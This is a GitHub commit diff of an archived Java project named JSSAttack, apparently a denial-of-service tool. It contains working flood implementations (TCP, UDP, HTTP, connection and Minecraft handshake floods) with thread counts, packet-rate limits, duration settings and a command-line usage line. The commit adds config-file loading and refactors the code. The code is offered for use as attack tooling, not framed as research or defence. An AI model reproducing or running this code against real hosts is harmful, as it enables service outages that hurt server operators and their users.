Skip to content
This repository was archived by the owner on Aug 6, 2024. It is now read-only.

Commit 36b9292

Browse files
committed
test commit, this may fix our problem with pps
1 parent 0dd3e9c commit 36b9292

File tree

15 files changed

+213
-85
lines changed

15 files changed

+213
-85
lines changed

src/main/java/ir/xenoncommunity/jss/JSSAttack.java

Lines changed: 81 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@
33
import ir.xenoncommunity.jss.methods.IAttackMethod;
44
import ir.xenoncommunity.jss.methods.impl.*;
55
import ir.xenoncommunity.jss.utils.*;
6+
import ir.xenoncommunity.jss.utils.filemanager.Value;
67
import lombok.Getter;
78
import lombok.RequiredArgsConstructor;
89
import lombok.SneakyThrows;
@@ -27,7 +28,7 @@ public class JSSAttack implements Runnable {
2728
* @return the appropriate attack method
2829
*/
2930
@NotNull
30-
private static IAttackMethod getMethod(String method, Integer byteSize, AttackStatics attackStatics) {
31+
private IAttackMethod getMethod(final String method, final Integer byteSize, AttackStatics attackStatics) {
3132
return switch (method.toUpperCase()) {
3233
case "TCPFLOOD", "TCP", "TCP_FLOOD" -> new TCPFlood(attackStatics, byteSize);
3334
case "HTTPFLOOD", "HTTP", "HTTP_FLOOD" -> new HTTPFlood(attackStatics);
@@ -43,17 +44,80 @@ private static IAttackMethod getMethod(String method, Integer byteSize, AttackSt
4344
*/
4445
@SneakyThrows
4546
public void run() {
46-
// Parse command line arguments
47-
final boolean debug = this.parser.get("--debug", Boolean.class, false);
48-
final String ip = this.parser.get("--ip", String.class, null);
49-
final Integer port = this.parser.get("--port", Integer.class, -1);
50-
final Integer ppsLimit = this.parser.get("--pps", Integer.class, -1);
51-
final Integer maxThreads = this.parser.get("--threads", Integer.class, 1000);
52-
final Integer byteSize = this.parser.get("--byteSize", Integer.class, 1500);
53-
final Integer duration = this.parser.get("--duration", Integer.class, -1);
54-
final String method = this.parser.get("--method", String.class, "TCPFLOOD");
55-
final Boolean verbose = this.parser.get("--verbose", Boolean.class, false);
47+
boolean debug = false;
48+
String ip = null;
49+
Integer port;
50+
Integer ppsLimit = null;
51+
Integer maxThreads = null;
52+
Integer byteSize = null;
53+
Integer duration;
54+
String method = null;
55+
Boolean verbose = null;
56+
FileManager.values.add(new Value("ip", "0.0.0.0"));
57+
FileManager.values.add(new Value("port", 1024));
58+
FileManager.values.add(new Value("ppsLimit", 1000));
59+
FileManager.values.add(new Value("maxThreads", 5));
60+
FileManager.values.add(new Value("byteSize", 1024));
61+
FileManager.values.add(new Value("method", "TCPFLOOD"));
62+
FileManager.values.add(new Value("verbose", false));
63+
FileManager.values.add(new Value("duration", -1));
64+
if (this.parser.get("--config", String.class, null) != null){
65+
duration = null;
66+
port = null;
67+
FileManager.init();
68+
for(Value val : FileManager.values){
69+
switch(val.getName()){
70+
case "ip":{
71+
ip = (String) val.getValue();
72+
break;
73+
}
74+
case "port":{
75+
port = Integer.parseInt((String) val.getValue());
76+
break;
77+
}
78+
case "ppsLimit":{
79+
ppsLimit = Integer.parseInt((String) val.getValue());
80+
break;
81+
}
82+
case "maxThreads":{
83+
maxThreads = Integer.parseInt((String) val.getValue());
84+
break;
85+
}
86+
case "byteSize":{
87+
byteSize = Integer.parseInt((String) val.getValue());
88+
break;
89+
}
90+
case "method":{
91+
method = (String) val.getValue();
92+
break;
93+
}
94+
case "verbose":{
95+
verbose = Boolean.parseBoolean((String) val.getValue());
96+
break;
97+
}
98+
case "duration":{
99+
duration = Integer.parseInt((String) val.getValue());
100+
break;
101+
}
56102

103+
}
104+
}
105+
106+
} else {
107+
//Clears the entire FileManager values because we don't need them.
108+
FileManager.values.clear();
109+
// Parse command line arguments
110+
debug = this.parser.get("--debug", Boolean.class, false);
111+
ip = this.parser.get("--ip", String.class, null);
112+
port = this.parser.get("--port", Integer.class, -1);
113+
ppsLimit = this.parser.get("--pps", Integer.class, -1);
114+
maxThreads = this.parser.get("--threads", Integer.class, 1000);
115+
byteSize = this.parser.get("--byteSize", Integer.class, 1500);
116+
duration = this.parser.get("--duration", Integer.class, -1);
117+
method = this.parser.get("--method", String.class, "TCPFLOOD");
118+
verbose = this.parser.get("--verbose", Boolean.class, false);
119+
120+
}
57121
if (ip == null) {
58122
System.out.println("JSSAttack by XenonCommunity");
59123
System.out.println("Usage: java -jar JSSAttack.jar --ip <ip> --port <port> --threads <threads> --byteSize <byteSize> --duration <duration> --method <method> [--verbose] [--debug]");
@@ -83,19 +147,20 @@ public void run() {
83147
final AttackStatics attackStatics = new AttackStatics(ppsLimit);
84148
final IAttackMethod attackMethod = getMethod(method, byteSize, attackStatics);
85149
final InetAddress addr = InetAddress.getByName(ip);
86-
final LocalTime endTime = LocalTime.now().plus(Duration.ofSeconds(duration));
87-
150+
Integer finalDuration = duration;
151+
final LocalTime endTime = LocalTime.now().plus(Duration.ofSeconds(finalDuration));
88152
Logger.log(Logger.LEVEL.DEBUG, "addr: " + addr);
89153

90154
// Start the attack and log thread creation
91155
Logger.setSection("ATTACK");
92156
for (int i = 1; i <= maxThreads; i++) {
93157
Logger.log(Logger.LEVEL.DEBUG, "Adding new thread." + i + " Max: " + maxThreads);
94158

159+
Integer finalPort = port;
95160
taskManager.add(() -> {
96161
do {
97162
try {
98-
attackMethod.send(addr, port == -1 ? Randomize.randomPort() : port);
163+
attackMethod.send(addr, finalPort == -1 ? Randomize.randomPort() : finalPort);
99164
} catch (Exception ignored) {
100165

101166
}
@@ -107,8 +172,9 @@ public void run() {
107172
Logger.log(Logger.LEVEL.INFO, "Attacking...");
108173

109174
// Add task to manage statics for each second
175+
110176
taskManager.add(() -> {
111-
while (LocalTime.now().isBefore(endTime) || duration == -1) {
177+
while (LocalTime.now().isBefore(endTime) || finalDuration == -1) {
112178
try {
113179
TimeUnit.SECONDS.sleep(1);
114180
attackStatics.second();

src/main/java/ir/xenoncommunity/jss/Main.java

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,8 @@
11
package ir.xenoncommunity.jss;
22

33
import ir.xenoncommunity.jss.utils.CommandLineParser;
4+
import ir.xenoncommunity.jss.utils.FileManager;
5+
import ir.xenoncommunity.jss.utils.filemanager.Value;
46

57
public class Main {
68
/**

src/main/java/ir/xenoncommunity/jss/methods/IAttackMethod.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -3,5 +3,5 @@
33
import java.net.InetAddress;
44

55
public interface IAttackMethod {
6-
void send(InetAddress addr, int port) throws Exception;
6+
void send(final InetAddress addr, final int port) throws Exception;
77
}

src/main/java/ir/xenoncommunity/jss/methods/impl/ConnFlood.java

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@
55
import ir.xenoncommunity.jss.utils.SocketUtils;
66
import lombok.Cleanup;
77
import lombok.RequiredArgsConstructor;
8+
import lombok.val;
89

910
import java.net.InetAddress;
1011
import java.net.Socket;
@@ -22,9 +23,9 @@ public class ConnFlood implements IAttackMethod {
2223
* @throws Exception if an error occurs during the sending process
2324
*/
2425
@Override
25-
public void send(InetAddress addr, int port) throws Exception {
26+
public void send(final InetAddress addr, final int port) throws Exception {
2627
// create a socket connection to the specified address and port
27-
@Cleanup Socket socket = new Socket(addr, port);
28+
@Cleanup val socket = new Socket(addr, port);
2829

2930
// if the socket is not connected, return
3031
if (!socket.isConnected()) return;

src/main/java/ir/xenoncommunity/jss/methods/impl/HTTPFlood.java

Lines changed: 8 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@
66
import ir.xenoncommunity.jss.utils.SocketUtils;
77
import lombok.Cleanup;
88
import lombok.RequiredArgsConstructor;
9+
import lombok.val;
910
import org.jetbrains.annotations.NotNull;
1011

1112
import java.io.OutputStream;
@@ -24,9 +25,9 @@ public class HTTPFlood implements IAttackMethod {
2425
* @param addr the InetAddress to connect to
2526
* @return the byte array representation of the HTTP request
2627
*/
27-
private static byte[] createHTTPRequest(@NotNull InetAddress addr) {
28+
private static byte[] createHTTPRequest(final @NotNull InetAddress addr) {
2829
// Construct the HTTP request
29-
String request = "GET /" + Randomize.randomString(8) + " HTTP/1.1\r\n" +
30+
val request = "GET /" + Randomize.randomString(8) + " HTTP/1.1\r\n" +
3031
"Host: " + addr.getHostAddress() + "\r\n" +
3132
"Connection: keep-alive\r\n" +
3233
"Cache-Control: max-age=0\r\n" +
@@ -54,12 +55,12 @@ private static byte[] createHTTPRequest(@NotNull InetAddress addr) {
5455
* @throws Exception if an error occurs during the sending process
5556
*/
5657
@Override
57-
public void send(InetAddress addr, int port) throws Exception {
58+
public void send(final InetAddress addr, final int port) throws Exception {
5859
// Check if the limit is reached before sending
5960
if (statics.isLimitReached()) return;
6061

6162
// create a socket connection to the specified address and port
62-
@Cleanup Socket socket = new Socket(addr, port);
63+
@Cleanup val socket = new Socket(addr, port);
6364

6465
// if the socket is not connected, return
6566
if (!socket.isConnected()) return;
@@ -74,11 +75,11 @@ public void send(InetAddress addr, int port) throws Exception {
7475
statics.cps(); // update connection per second statistics
7576

7677
// get the output stream from the socket
77-
@Cleanup OutputStream outputStream = socket.getOutputStream();
78+
@Cleanup val outputStream = socket.getOutputStream();
7879

7980
// create an HTTP request
80-
byte[] bytes = createHTTPRequest(addr);
81-
int length = bytes.length;
81+
val bytes = createHTTPRequest(addr);
82+
val length = bytes.length;
8283

8384
// send the request while the socket is connected and the limit is not reached
8485
while (socket.isConnected() && !statics.isLimitReached() && statics.isRunning()) {

src/main/java/ir/xenoncommunity/jss/methods/impl/MCPingFlood.java

Lines changed: 23 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,7 @@
44
import ir.xenoncommunity.jss.utils.AttackStatics;
55
import ir.xenoncommunity.jss.utils.SocketUtils;
66
import lombok.RequiredArgsConstructor;
7+
import lombok.val;
78

89
import java.io.ByteArrayOutputStream;
910
import java.io.DataOutputStream;
@@ -26,29 +27,28 @@ public class MCPingFlood implements IAttackMethod {
2627
* @throws Exception If an error occurs during the sending process
2728
*/
2829
@Override
29-
public void send(InetAddress addr, int port) throws Exception {
30+
public void send(final InetAddress addr, final int port) throws Exception {
3031
// Check if the limit is reached
3132
if (statics.isLimitReached()) return;
3233

33-
try (Socket socket = new Socket(addr, port);
34-
DataOutputStream outputStream = new DataOutputStream(socket.getOutputStream());
35-
ByteArrayOutputStream buffer = new ByteArrayOutputStream();
36-
DataOutputStream bufferStream = new DataOutputStream(buffer)) {
34+
try (val socket = new Socket(addr, port);
35+
val buffer = new ByteArrayOutputStream();
36+
val bufferStream = new DataOutputStream(buffer)) {
3737

38-
// If the socket is not connected, return
39-
if (!socket.isConnected()) return;
38+
// If the socket is not connected, return
39+
if (!socket.isConnected()) return;
4040

41-
// Enable socket options
42-
SocketUtils.enableSocketOpts(socket,
43-
StandardSocketOptions.TCP_NODELAY,
44-
StandardSocketOptions.SO_KEEPALIVE);
45-
// Set socket timeout
46-
SocketUtils.setSoTimeout(socket, 1000);
41+
// Enable socket options
42+
SocketUtils.enableSocketOpts(socket,
43+
StandardSocketOptions.TCP_NODELAY,
44+
StandardSocketOptions.SO_KEEPALIVE);
45+
// Set socket timeout
46+
SocketUtils.setSoTimeout(socket, 1000);
4747

48-
// Write handshake data to the buffer
49-
writeHandshake(bufferStream, addr, port);
50-
// Write buffer to the output stream
51-
writePacket(outputStream, buffer);
48+
// Write handshake data to the buffer
49+
writeHandshake(bufferStream, addr, port);
50+
// Write buffer to the output stream
51+
writePacket(new DataOutputStream(socket.getOutputStream()), buffer);
5252
}
5353
}
5454

@@ -60,7 +60,7 @@ public void send(InetAddress addr, int port) throws Exception {
6060
* @param port The server port
6161
* @throws IOException If an I/O error occurs
6262
*/
63-
private void writeHandshake(DataOutputStream bufferStream, InetAddress addr, int port) throws IOException {
63+
private void writeHandshake(final DataOutputStream bufferStream, final InetAddress addr, final int port) throws IOException {
6464
writeVarInt(bufferStream, 0x00); // Writing packet ID
6565
writeVarInt(bufferStream, 754); // Writing protocol version
6666
writeString(bufferStream, addr.getHostAddress()); // Writing server address
@@ -76,7 +76,7 @@ private void writeHandshake(DataOutputStream bufferStream, InetAddress addr, int
7676
* @param buffer the buffer containing the data to write
7777
* @throws IOException if an I/O error occurs
7878
*/
79-
private void writePacket(DataOutputStream outputStream, ByteArrayOutputStream buffer) throws IOException {
79+
private void writePacket(final DataOutputStream outputStream, final ByteArrayOutputStream buffer) throws IOException {
8080
outputStream.write(buffer.toByteArray());
8181
outputStream.flush();
8282
}
@@ -88,10 +88,10 @@ private void writePacket(DataOutputStream outputStream, ByteArrayOutputStream bu
8888
* @param value the integer value to write
8989
* @throws IOException if an I/O error occurs
9090
*/
91-
private void writeVarInt(DataOutputStream out, int value) throws IOException {
91+
private void writeVarInt(final DataOutputStream out, int value) throws IOException {
9292
do {
9393
// Extract the lowest 7 bits of the value
94-
byte temp = (byte) (value & 0b01111111);
94+
var temp = (byte) (value & 0b01111111);
9595
// Shift the value to the right by 7 bits
9696
value >>>= 7;
9797
// If there are still more bits in the value, set the highest bit in temp
@@ -110,9 +110,9 @@ private void writeVarInt(DataOutputStream out, int value) throws IOException {
110110
* @param string the string to write
111111
* @throws IOException if an I/O error occurs
112112
*/
113-
private void writeString(DataOutputStream out, String string) throws IOException {
113+
private void writeString(final DataOutputStream out, final String string) throws IOException {
114114
// Convert the string to bytes using UTF-8 encoding
115-
byte[] bytes = string.getBytes(StandardCharsets.UTF_8);
115+
val bytes = string.getBytes(StandardCharsets.UTF_8);
116116

117117
// Write the length of the byte array as a minecraft varint
118118
writeVarInt(out, bytes.length);

src/main/java/ir/xenoncommunity/jss/methods/impl/TCPFlood.java

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@
66
import ir.xenoncommunity.jss.utils.SocketUtils;
77
import lombok.Cleanup;
88
import lombok.RequiredArgsConstructor;
9+
import lombok.val;
910

1011
import java.io.OutputStream;
1112
import java.net.InetAddress;
@@ -25,12 +26,12 @@ public class TCPFlood implements IAttackMethod {
2526
* @throws Exception if an error occurs during the sending process
2627
*/
2728
@Override
28-
public void send(InetAddress addr, int port) throws Exception {
29+
public void send(final InetAddress addr, final int port) throws Exception {
2930
// Check if the limit is reached before sending
3031
if (statics.isLimitReached()) return;
3132

3233
// create a socket connection to the specified address and port
33-
@Cleanup Socket socket = new Socket(addr, port);
34+
@Cleanup val socket = new Socket(addr, port);
3435

3536
// if the socket is not connected, return
3637
if (!socket.isConnected()) return;
@@ -45,7 +46,7 @@ public void send(InetAddress addr, int port) throws Exception {
4546
statics.cps(); // update connection per second statistics
4647

4748
// get the output stream from the socket
48-
@Cleanup OutputStream outputStream = socket.getOutputStream();
49+
@Cleanup val outputStream = socket.getOutputStream();
4950

5051
// continuously send data as long as the socket is connected and the limit is not reached
5152
while (socket.isConnected() && !statics.isLimitReached() && statics.isRunning()) {

src/main/java/ir/xenoncommunity/jss/methods/impl/UDPFlood.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -37,7 +37,7 @@ public class UDPFlood implements IAttackMethod {
3737
* @throws Exception if an error occurs during the send operation
3838
*/
3939
@Override
40-
public void send(InetAddress addr, int port) throws Exception {
40+
public void send(final InetAddress addr, final int port) throws Exception {
4141
// Check if the limit is reached before sending
4242
if (statics.isLimitReached()) return;
4343

0 commit comments

Comments
 (0)